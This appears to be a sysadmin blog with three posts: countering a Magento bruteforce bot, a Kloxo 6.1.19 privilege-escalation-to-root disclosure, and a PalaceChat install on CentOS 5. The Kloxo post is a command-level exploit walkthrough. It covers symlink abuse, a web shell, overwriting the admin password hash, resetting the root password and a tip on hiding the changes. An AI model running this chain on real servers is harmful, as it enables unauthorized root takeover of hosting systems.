Defeating Magento Downloader Bruteforce

A large number of Magento sites have been attacked by a bot trying to bruteforce the admin username / password recently . The only standout identified for this bot is that it either uses  no user agent (this behavior is seen in current requests) or uses a pre-specified user agent (this was the old behavior of this bot).

A sample HTTP access log entry can be seen here: – [07/Apr/2016:16:34:25 -0500] “GET /magento/ HTTP/1.1” 200 16420 “-” “Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0”

The IP is, of course, the IP of either a compromised user or server; blocking the attacking IP provides little relief due to the vast number of different IPs on different providers available to make the request with.

How can these requests be mitigated in the most efficient manner? The way to do that is to review the source code to see how the bot actually works.

I found the source for one particular Magento bruteforcer here:

The script works primarily as expected — it will keep trying different user / pass combinations until a valid login response is received. The easiest way to stop these requests is to ask the attacker to stop. Of course, that won’t happen.

However, if we make the attacker think they have successfully logged in, the script will automatically stop as there is no longer a reason for it to send further requests to the server.

From reviewing the source code of the script, we see if that if a page is returned containing the text ‘logout’ the script will then stop attacking and exit:

		data = urllib2.Request(domain, urllib.urlencode(post), headers=agent)
		neo =
		if 'logout' in neo:
			t2 = time.time()
			print ""
			print "Domain Name: %s" % url
			print "UserNmae: %s" % usr
			print "Password Cracked: %s" % passwd 
			print "Time: %s" % str(t2-t1)

As the bot looks for the word ‘logout’ on the page to confirm a successful login, this bot can be defeated by simply adding the following line at the end of your main index.php file (or a different file that is receiving the attack such as downloader/index.php) :

echo ‘<script> function breakBotlogout(){}</script>’;

This line adds a Javascript function named breakBotlogout that is never used. Just the presence of the text ‘logout’ will cause the bot to fail.

Behavior of the Bruteforce script before our custom code is added; The script will keep trying thousands of times:

Magento Bruteforce

Trying … abcdef
Trying … epmx@UO37
Trying … c0vJRx9k’
Trying … t5jT0tHw’
Trying … mmLe^Q63x
Trying … xt!Tjb93G
Trying … v13r|aQYf
Trying … &f7jJCc6v
Trying … 08’raFwfA

Behavior of the script after this change has been made:

Magento Bruteforce

Domain Name:
UserNmae: admin
Password Cracked: abcdef
Time: 0.371110916138


The attack has been mitigated after one singular request has been sent to the server.


Kloxo 6.1.19 Privilege Escalation to Root

Kloxo is an opensource, free control panel alternative that is sometimes used in lieu of cPanel or other control panel products. It is developed by Lxcenter ( ). While it is an attractive alternative to paid solutions due to its in-depth features it is not suitable to be used due to the numerous security vulnerabilities it contains.

You should NEVER install this software on your server and should definitely NEVER use this software for hosting clients / sub accounts.

In this particular exploit we will be escalating our privilege from a standard kloxo user to obtain root SSH access to the server.

First, lets briefly review the vector we will be launching our attack from.

We will have an existing standard-level user account on the Kloxo server. This account is a shared-level account and contains no special privileges. Here we are creating our demonstration account, ‘testdomain’ inside the Kloxo administration panel to setup this scenario:


We will leverage this account to read protected Kloxo files on the server to begin our exploit. Kloxo stores its control panel authentication details (along with configuration information) in a database called ‘kloxo’, which is accessed by the MySQL user ‘kloxo’ using a password stored inside a kloxo configuration file, as demonstrated below:

[root@kloxo conf]# cat /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass

Ignoring the possibility of someone bruteforcing the kloxo database password to launch an attack (this password is always 10 characters sourced from a 36 character range), storing a password in plaintext is also a huge security issue, especially when that password essentially grants root access to the server. It could even be said that this type of setup is even more vulnerable than if you were to use unencrypted passwords in /etc/shadow !

Once we have obtained the database password, we can simply retrieve (and then change) the Kloxo admin password and leverage that to gain root server access:

[root@kloxo conf]# mysql -u kloxo -pc1fedca54a -e “use kloxo; select nname, password from client;”
| nname | password |
| admin | $1$7CWQ0mvu$E7.dU0fvG/kfwzr3IRy8a0 |
| testdomain | $1$0GbqncNB$jo6wdjGSos9iegIYLxTao1 |

In summary, our attack vector will be to

  1. Find a way to read the kloxo.pass file
  2. Use that password to access the Kloxo administration panel as the ‘admin’ user
  3. Exploit this access to gain root level SSH

There are some obstacles standing in the way of successfully reading this password, of course. Kloxo’s developers do understand that this file should not be readable by anyone other than Kloxo’s system user, lxlabs. In specifics, we would have to change the permissions on the following files to be able to read kloxo.pass

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass
File: `/usr/local/lxlabs/kloxo/etc/conf/kloxo.pass’
Size: 10 Blocks: 8 IO Block: 4096 regular file
Device: 35a0b6a1h/899724961d Inode: 257090 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/
File: `/usr/local/lxlabs/kloxo/etc/’
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 35a0b6a1h/899724961d Inode: 257083 Links: 6
Access: (0700/drwx——) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)

To change these permissions, we will be using the Addon Domains feature of the Kloxo Control panel as a standard-level user. This will leverage a bug in Kloxo’s addon domain feature. Kloxo’s addon domain feature will chmod the specified document root for an addon domain to 755. One caveat is that Kloxo does limit the user to only being able to create document roots inside their home directory. This Kloxo limitation can be bypassed by using a symlink.

Our preferred way to to create these symlinks would just be to simply use SSH as our standard-level user but it appears the system admin has disabled this feature in a futile attempt at securing the server:


As this is disabled we simply will create the symlinks on a different server, and then package them into a zip file. This zip file will later be uploaded and extracted on the Kloxo server.

Here we are preparing two symlinks to link to the two files we statted above:

root@serv1[/home/]# ln -s /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass
root@serv1[/home/]# ln -s /usr/local/lxlabs/kloxo/etc/


Here we prepare the zip file, We are using the -y flag, to ensure the symlinks are preserved:

-y store symbolic links as the link instead of the referenced file

root@serv1[/home/]# zip -y
adding: (stored 0%)
adding: (stored 0%)

Now, we upload this zip file to the Kloxo server:


And then we extract the zip file on the Kloxo server:


Here you can verify the symlinks extracted successfully:


Then we need to create addon domains for each of these symlinks:


Once we have created both addon domains we can then check the permissions of the files identified earlier. We can now see that the addon domain feature was exploited to change each of these files to 755 permissions:

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/
File: `/usr/local/lxlabs/kloxo/etc/’
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 35a0b6a1h/899724961d Inode: 257083 Links: 7
Access: (0755/drwxr-xr-x) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass
File: `/usr/local/lxlabs/kloxo/etc/conf/kloxo.pass’
Size: 10 Blocks: 8 IO Block: 4096 regular file
Device: 35a0b6a1h/899724961d Inode: 257090 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)


Now that we can read these files, we can simply leverage our standard level of access to read the kloxo.pass file. There are many different ways to read the file, but we are using FTP in this case:

root@ubuntu:/# ftp
ftp> open
(to) kloxoserv
Connected to kloxoserv.
220———- Welcome to Pure-FTPd [privsep] [TLS] ———-
220-You are user number 2 of 5000 allowed.
220-Local time is now 04:38. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (kloxoserv:root): testdomain
331 User testdomain OK. Password required
230 OK. Current restricted directory is /

Change to the directory our symlink are in:

ftp> cd

Get the symlink, which saves the kloxo MySQL password to our local computer:

ftp> get
local: remote:
200 PORT command successful
150 Connecting to port 44664
226-File successfully transferred
226 0.000 seconds (measured here), 58.50 Kbytes per second
10 bytes received in 0.00 secs (57.4 kB/s)

Here we can read the downloaded password:

root@ubuntu:/# cat

Now, we need to execute PHP code on the Kloxo server (we have a user account to host domains so that is not an issue). We will use this PHP code to execute the requisite SQL queries to change the admin user password.

For this change I am using the c99 shell ( ) in lieu of manually writing a php script to perform these changes.

Here we are using the c99 shell to access the Kloxo Database:


Once I have gained access to the database I am simply going to use the hash specified to my ‘testdomain’ user (as I know what password is linked with this hash). You could also generate a new hash if you so desire.

Here we have access the ‘client’ database tabland e are retrieving the existing password hashes:



Executing the SQL query to update the admin user’s password:


update client set password = ‘$1$0GbqncNB$jo6wdjGSos9iegIYLxTao1’ where nname = ‘admin’;

Finally we can verify we have updated the ‘admin’ password hash to the password hash we know the password for:


We can now go back to the kloxo admin panel, and login as the admin user. Here we can see we were able to successfully login:


We can now access the ‘Command Center’ area of the admin panel to execute commands as root. We can confirm through ‘whoami’ that we have root access:


If you want to hide your changes it is a good idea to preserve the /etc/shadow file contents. That way you can restore the original root password when you are done:


Here we can reset the root user’s password to the password ‘new’. Take care to preserve the ‘\n’ as it is necessary to reset the root password in one line:

echo -e “new\nnew” | passwd root


We can now use our user root and the new password we set (new) to access the server via root SSH:

root@ubuntu:/# ssh root@
root@’s password:
Last login: Tue Jan 26 04:58:01 2016 from xxxxxxxx
[root@kloxo ~]#

If you are running Kloxo it is imperative that you cease using this software, especially is providing hosting services for others. I performed a brief search for hosting providers offering Kloxo in a shared environment and found quite a few (how professional these providers are is debatable) that do use Kloxo. I would assume these would all be open to this vulnerability:

Installing PalaceChat Server on Centos 5

PalaceChat ( ) is a classic program that was last updated in 2000, however it retains popularity today. Of course, being so old, configuring and using it on modern operating systems does require extra steps from the original installation instructions.

Modern operating system may be a bit of a misnomer as we are installing it on 32 bit Centos 5 in this guide. Any 64 bit versions of Centos or newer versions (such as 6 or 7) require even more changes which are much more complicated to make.

I recommend installing on Centos 5 32 bit as it will be the most straightforward way to get it running and this OS is available by almost all VPS / Server providers for provisioning.

Here is how you can install PalaceChat server in this type of setup:

First, ensure you are on the correct environment or else these instructions will not work:

[root@pchat2 bin]# uname -a
Linux 2.6.32-042stab112.15 #1 SMP Tue Oct 20 17:22:56 MSK 2015 i686 athlon i386 GNU/Linux

[root@pchat2 bin]# cat /etc/redhat-release
CentOS release 5.11 (Final)

Here we can see we are on the 32 bit version (i686) and on Centos 5.11 so we can continue the installation

To start with lets verify all system software is up to date:

[root@pchat2 ]# yum update -y

Assuming yum is working correctly above, we need to ensure that no existing version of Apache is running on the server. This can be done using yum grouplist to check if apache (Web Server) is already installed and then remove it. I also removed some other groups that weren’t necessary to running a PalaceChat server:

[root@pchat2 installyumx86]# yum grouplist
Installed Groups:
DNS Name Server
Legacy Network Server
Mail Server
Network Servers
System Tools
Text-based Internet
Web Server
Windows File Server
Yum Utilities

Here we are removing groups, the one that must always be removed, if present, is “Web Server”

[root@pchat2 installyumx86]# yum groupremove “DNS Name Server” “Mail Server” “Windows File Server” “Web Server”

Now that the server environment is prepped, we can download the PalaceChat server software, I acquired it from

I recommend being in the /root directory to perform this:

[root@pchat2 ]# cd /root

Now we can download the Software:

[root@pchat2 ~]# wget
2016-01-11 21:05:26 (1.11 MB/s) – `PalaceServerLinux.tar.gz’ saved [1076324/1076324]

Extract the Software you downloaded:

[root@pchat2 ~]# tar -xzvf PalaceServerLinux.tar.gz

And enter the pserver directory:

[root@pchat2 ~]# cd pserver-4.5.1.i686-unknown-linux/

Once in the directory, start the palaceserver installation:

[root@pchat2 pserver-4.5.1.i686-unknown-linux]# ./install

I recommend using all defaults:

Default location (press return) is: [/usr/local/palace]

Now, the PalaceServer asks for a license key; Apparently there are places online you can generate a unique key, however I couldn’t locate one quickly. I did find a key left in a thread here:

License number:

Configure a few more options on the setup, replacing the values with your data of course:


Default Palace Server port (press return) is: [9998]

Default HTTP Server port (press return) is: [9990]

PalaceServer Name:

It is important to select no when the setup asks if you wish to start the server; it will not run without further changes being made:

The server is now installed. Would you like to start it now?

Lets enter the PalaceServer’s directory:

[root@pchat2 pserver-4.5.1.i686-unknown-linux]# cd /usr/local/palace/bin

To see what exactly we need to do to get PalaceServer running, lets try starting it manually. This is optional, of course on your end:

[root@pchat2 bin]# bash start-httpd
start-httpd: /usr/local/palace/bin/httpd: /lib/ bad ELF interpreter: No such file or directory

This is happening as the pre-compiled version of apache included with PalaceServer cannot run on Centos 5 without changes. Here is where we start to deviate from the original installation process. As we have to compile Apache 1.3 (the version that PalaceServer integrates with) manually, make sure you have a compiler installed:

[root@pchat2 bin]# yum install gcc -y
gcc.i386 0:4.1.2-55.el5

Now we need to acquire the source for Apache 1.3, I found a version here I could download: and then saved it to my /root folder.

Lets ensure we are back in /root:

[root@pchat2 bin]# cd /root

Extract your Apache 1.3 archive:

[root@pchat2 ~]# unzip

Enter the extracted folder:

[root@pchat2 ~]# cd apache-1.3.31-src

To be able to compile Apache 1.3 we need to ensure the relevant executables have appropriate permissions. While you can do this in a much more restrictive way, this was the fastest way to ensure everything was set right:

[root@pchat2 apache-1.3.31-src]# chmod a+x * -R

Now, we need to configure the Apache 1.3 source:

[root@pchat2 apache-1.3.31-src]# ./configure
Configuring for Apache, Version 1.3.31
+ Warning: Configuring Apache with default settings.
+ This is probably not what you really want.
+ Please read the README.configure and INSTALL files
+ first or at least run ‘./configure –help’ for
+ a compact summary of available options.
+ using installation path layout: Apache (config.layout)
Creating Makefile
Creating Configuration.apaci in src
Creating Makefile in src
+ configured for Linux platform
+ setting C compiler to gcc
+ setting C pre-processor to gcc -E
+ using “tr [a-z] [A-Z]” to uppercase
+ checking for system header files
+ adding selected modules
+ using builtin Expat
+ checking sizeof various data types
+ doing sanity check on compiler and options
Creating Makefile in src/support
Creating Makefile in src/regex
Creating Makefile in src/os/unix
Creating Makefile in src/ap
Creating Makefile in src/main
Creating Makefile in src/lib/expat-lite
Creating Makefile in src/modules/standard

Once done, run make:

[root@pchat2 apache-1.3.31-src]# make

Once that finishes run make install. Assuming it compiles on your system you should receive a success message at the end:

[root@pchat2 apache-1.3.31-src]# make install
| You now have successfully built and installed the      |
| Apache 1.3 HTTP server. To verify that Apache actually |
| works correctly you now should first check the         |
| (initially created or preserved) configuration files   |
|                                                        |
|   /usr/local/apache/conf/httpd.conf
|                                                        |
| and then you should be able to immediately fire up     |
| Apache the first time by running:                      |
|                                                        |
|   /usr/local/apache/bin/apachectl start
|                                                        |
| Thanks for using Apache.       The Apache Group        |
|                        |

Lets go back to the Palace Directory:

[root@pchat2 apache-1.3.31-src]# cd /usr/local/palace/bin

And replace Palace’s included httpd with our newly compiled version:

[root@pchat2 bin]# cp /usr/local/apache/bin/httpd /usr/local/palace/bin/httpd
cp: overwrite `/usr/local/palace/bin/httpd’? y

Lets try starting it again using the same script as before:

[root@pchat2 bin]# ./start-httpd

Wait a few seconds and then you can verify if it has started through ps. We can see it did start successfully:

[root@pchat2 bin]# ps faux | grep httpd
root      3811  0.0  0.1   3112   708 pts/0    S+   21:13   0:00      \_ grep httpd
root      3806  0.0  0.1   2728   828 ?        Ss   21:13   0:00 /usr/local/palace/bin/httpd -f /usr/local/palace/conf/httpd.conf
nobody    3807  0.0  0.0   2728   508 ?        S    21:13   0:00  \_ /usr/local/palace/bin/httpd -f /usr/local/palace/conf/httpd.conf
nobody    3808  0.0  0.0   2728   508 ?        S    21:13   0:00  \_ /usr/local/palace/bin/httpd -f /usr/local/palace/conf/httpd.conf
nobody    3809  0.0  0.0   2728   508 ?        S    21:13   0:00  \_ /usr/local/palace/bin/httpd -f /usr/local/palace/conf/httpd.conf

Now lets start the Palace Server too:

[root@pchat2 bin]# ./start-palace

And verify it is running as well:

[root@pchat2 bin]# ps faux | grep pserv
root      3827  0.0  0.1   3112   712 pts/0    S+   21:13   0:00      \_ grep pserv
root      3822  0.0  0.3   3176  2012 pts/0    S    21:13   0:00 /usr/local/palace/bin/pserver -f /usr/local/palace/palace/psdata/pserver.conf
root      3823  0.0  0.1   1820   560 pts/0    S    21:13   0:00  \_ /usr/local/palace/bin/psfront -p 9998 -r /usr/local/palace/palace -l logs/pserver.log -s 0 -a localhost -n -b -c 10
root      3824  0.0  0.1   2120   936 pts/0    S    21:13   0:00  |   \_ /usr/local/palace/bin/psfront -p 9998 -r /usr/local/palace/palace -l logs/pserver.log -s 0 -a localhost -n -b -c 10
root      3825  0.0  0.2   2780  1240 pts/0    S    21:13   0:00  \_ /usr/local/palace/bin/pserver -f /usr/local/palace/palace/psdata/pserver.conf

If you wish to verify even further the services are listening you can do that via Telnet:

[root@pchat2 logs]# telnet localhost 9998
Connected to localhost.
Escape character is ‘^]’.

[root@pchat2 logs]# curl localhost:9990 –head
HTTP/1.1 200 OK

Now, PalaceServer is successfully installed and running; of course you will still need to configure your server but the original documentation will suffice for that.

Please note that Apache 1.3 is very old software (as well as PalaceChat). Apache 1.3 has known vulnerabilities and it is not recommended to use this in a production environment. If you wish to host a production server I recommend using Apache 2.4 instead and updating PalaceChat’s httpd.conf file to work with this newer Apache version.